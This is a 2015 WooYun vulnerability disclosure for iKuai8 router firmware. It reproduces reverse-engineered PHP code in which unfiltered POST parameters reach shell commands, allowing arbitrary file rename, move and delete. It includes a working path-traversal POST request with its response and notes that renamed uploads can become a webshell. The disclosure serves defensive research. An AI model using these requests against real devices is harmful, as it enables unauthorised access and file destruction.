缺陷编号:WooYun-2015-0122633
漏洞标题:爱快流控路由最新版(iKuai8_2.4.4_Build20150604-17_41)固件漏洞挖掘分析之二
相关厂商:爱快免费流控路由
漏洞作者:Bear baby
提交时间:2015-06-25 09:55
公开时间:2015-09-23 14:34
漏洞类型:非授权访问
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
2015-06-25: 细节已通知厂商并且等待厂商处理中
2015-06-25: 厂商已经确认,细节仅向厂商公开
2015-06-28: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-08-19: 细节向核心白帽子及相关领域专家公开
2015-08-29: 细节向普通白帽子公开
2015-09-08: 细节向实习白帽子公开
2015-09-23: 细节向公众公开
固件版本:iKuai8_2.4.4_Build20150604-17_41
固件下载地址:http://patch.ikuai8.com/iso/iKuai8_2.4.4_Build20150604-17_41.iso分析使用到的工具:EditPlus、DreamWeaver、Zend Studio、Ida Pro 6.1、BeyondCompare、Fiddler、中国菜刀、Kali、VisualStudio2010、vmware11等注:本文基于逆向获取到的源文件进行分析。
本集要说的是任意文件操作那些事。。
任意文件操作1、文件上传爱快流控路由器系统在多个地方使用了文件上传功能如系统设置-升级备份-版本升级系统设置-升级备份-系统备份认证计费-认证账号管理-账号管理行为管理-分组管理-终端信息管理行为管理-网站浏览控制-云安全行为管理-网站浏览控制-本地拦截等等十几处地方。这些上传均使用/application/helpers/function_helper.php里面的ik_upload()函数进行上传。ik_upload()代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
/**<br> * 功能:上传文件<br> * 参数<br> * $obj : 提交$this 对象<br> * $file : 上传控件的名字<br> * $dir : 上传路径<br>* $filename : 上传的文件名<br> *<br> */function ik_upload($obj,$file='userfile',$dir,$filename=''){<br> /*<br> switch ($filename) {<br> case 'system.test':break;<br> case 'b.jpg':break;<br> default: echo "<script>alert('NO File!');</script>";exit;<br> }<br> */<br> $config['upload_path'] = $dir;<br> $config['allowed_types'] = 'txt|bak|import|patch|lib|zip|rar'; //只允许上传类型<br> $config['file_name'] = $filename;<br> $config['overwrite'] = TRUE;//print_r($config);exit;$obj->load->library('upload', $config);<br> if (!$obj->upload->do_upload($file))<br> {<br> $data = array('error' => $obj->upload->display_errors());<br> }<br> else<br> {<br> $data = array('upload_data' => $obj->upload->data());<br> // echo "<script>alert('upload ok!');history.back();<//script>";<br> }<br> //print_r($data);<br> if(isset($data['error'])){<br> //echo "<script>alert('上传文件失败!');history.back();<//script>;";<br> return false;<br> }else{<br> return true;<br> }<br> } |
该函数调用框架中CI_Upload do_upload进行文件上传处理,具体过程略过。知道有这些地方可以上传文件即可。2、重命名、移动任意文件接下来说明文件重命名的问题,该系统中共有三处用到重命名的功能。分别是:/application/controllers/Service/local_storage.php/application/controllers/System/backup.php/application/controllers/System/update.php其中local_storage.php是服务中心里面的功能,但在系统中没有菜单,隐藏不体现可能是测试功能。update.php是升级备份中的版本升级功能页面,存在重命名功能,但在页面上也没体现,可能为遗留或者测试功能。backup.php是升级备份中的系统备份功能页面。这几个页面的重命名函数均为save()代码如下:
1 2 3 4 5 |
//编辑保存<br> public function save(){<br> shellControl($this->shellmodel,'rename '.$_POST['old_bakname'].' '.$_POST['bakname'],'',false);<br> echo json_encode($_POST);<br> } |
调用了shellControl函数执行重命名,shellControl在/application/helpers/db_helper.php中。shellControl函数代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
/*<br> @功能:对shell命令的操作进行二次封装<br> @参数:<br> $model--对应模块<br> $shell--shell命令<br> $data --拼接数据<br> @返回:string or array<br> @data:20140211 by tian<br> >/dev/null 2>/dev/null &<br> */function shellControl($model,$shell,$data=array(),$return=true){ //默认有返回值的<br> if(!$data){<br> $str = '';<br> }else{<br> if(!is_array($data))return false;<br> $key = array_keys($data);<br> $val = array_values($data);<br> $str = '';<br> foreach($key as $k=>$v){<br> //$str .= $v.'="'.$val[$k].'" ';<br> $str .= $v."='".$val[$k]."' ";<br> }<br> }<br> $redirt = '>/dev/null 2>/dev/null &';<br> if(!$return){<br> ikExec($model,$shell." ".trim($str).' '.$redirt);//重定向没有返回值<br> //echo sqlMsg();exit;<br> }else{<br> $res = json_decode(ikExec($model,$shell." ".trim($str)),true);<br> }return $return?$res:'ok';//暂时返回OK<br> } |
从函数功能描述就可以看出调用shell命令来执行的,参数是通过拼接进行。该函数对命令及参数进行拼接处理,然后调用libikphp.so里面的ikExec来执行命令。这个函数涉及到命令执行漏洞,这边暂且不提,后面再进行分析,现在主要是讲文件重命名的问题。save函数里面只有两个参数,都是POST来的。old_bakname 旧文件名,bakname 新文件名。由于这个函数没有对参数进行任何过滤等防护操作。所以我们可以通过控制这两个参数,来达到重命名任意文件的效果。如果参数里面添加路径参数,可以把文件移动到任意位置。看到这边,完全可以想到,通过上传文件-重命名为php,即可获取到webshell。下面来验证一下:
1)重命名任意文件首先使用前面的正向shell,在系统根目录创建一个文件test.txt
1 |
echo test>/test.txt |
然后用Fiddler向系统备份页面POST一个修改文件名的请求。将根目录下的test.txt重命名为newtest.txt。如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
Request<br> POST **.**.**.**/System/backup/save HTTP/1.1<br> Host: **.**.**.**<br> User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0<br> Accept: application/json, text/javascript, */*; q=0.01<br> Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3<br> Accept-Encoding: gzip, deflate<br> DNT: 1<br> Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br> X-Requested-With: XMLHttpRequest<br> Referer: **.**.**.**/System/backup<br> Content-Length: 70<br> Cookie: PHPSESSID=e6b8bf28447de49246be1ee4b7876e49<br> Connection: keep-alive<br> Pragma: no-cache<br> Cache-Control: no-cachebakname=..%2F..%2F..%2Fnewtest.txt&old_bakname=..%2F..%2F..%2Ftest.txtRESPONSE<br> HTTP/1.1 200 OK<br> X-Powered-By: PHP/5.3.1<br> Content-Type: text/html;charset=utf-8<br> Expires: Thu, 19 Nov 1981 08:52:00 GMT<br> Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0<br> Pragma: no-cache<br> Date: Fri, 24 Apr 2015 08:23:14 GMT<br> Server: lighttpd/1.4.30<br> Content-Length: 74{"bakname":"..\/..\/..\/newtest.txt","old_bakname":"..\/..\/..\/test.txt"} |
ls一下看看文件名是否改变,如下图。test.txt已经成功变成newtest.txt
已经成功重命名根目录下面的文件。2)移动任意文件上面演示重命名任意文件,接下来看看移动任意文件,也是通过post文件名,区别在于改变新文件名的路径。我们把刚的newtest.txt移动到网页目录下abc.txt。bakname=..%2F..%2F..%2Fusr%2Fikuai%2Fwww%2Fabc.txt&old_bakname=..%2F..%2F..%2Fnewtest.txt
3、删除任意文件系统中共有两处地方涉及到,分别在/application/controllers/System/backup.php/application/controllers/System/update.php函数名opera(),代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
//删除、恢复<br> function opera(){<br> $type = trim($_POST['type']);<br> switch($type){<br> case 'del':<br> shellControl($this->shellmodel,'del_bak '.$_POST['bakname']);//暂无返回值<br> echo json_encode(array("recode"=>'0','error'=>'ok'));<br> break;<br> case 'recover':<br> $res = shellControl($this->shellmodel,'restore '.$_POST['bakname']);<br> //print_r($data);exit;<br> if($res['res'] == '1'){<br> $data['recode'] = '0';<br> $data['recover'] = '1';<br> }else{<br> $data['recode'] = '100';<br> $data['error'] = '备份恢复失败!';<br> }<br> echo json_encode($data);<br> break;<br> }<br> } |
问题和重命名一样,没有做任何处理,调用shell命令 删除 POST上来的bakname参数所指文件名,这边不在演示操作。总结:这个系统里面对文件的操作没有进行过滤,导致可以重命名、移动、删除。另外/application/controllers/Service/local_storage.php本地存储的页面,如下
可以进行文件上传、重命名、创建目录、列目录、获取硬盘信息等等,且和前面的一样,基本没什么过滤。可能页面不完善直接web操作有问题,通过Fiddler Post可以进行操作。
这个还是你们自己解决把···要去复习了。。不要恨我。
危害等级:中
漏洞Rank:10
确认时间:2015-06-2514:33
又来一波,争取一次处理完成,感谢白帽子兄弟,好好复习。。。
暂无
厂家回复好温馨
@Angelic47 作为负责任,对白帽子也懂得尊重的企业,我的答复属于一个比较合理范围,如果是再年轻10岁,我差不多都要说亲,感谢,么么哒一类的
@爱快免费流控路由 在假设年轻十岁的基础上判断………28以上40以下
原文连接
的情况下转载,若非则不得使用我方内容。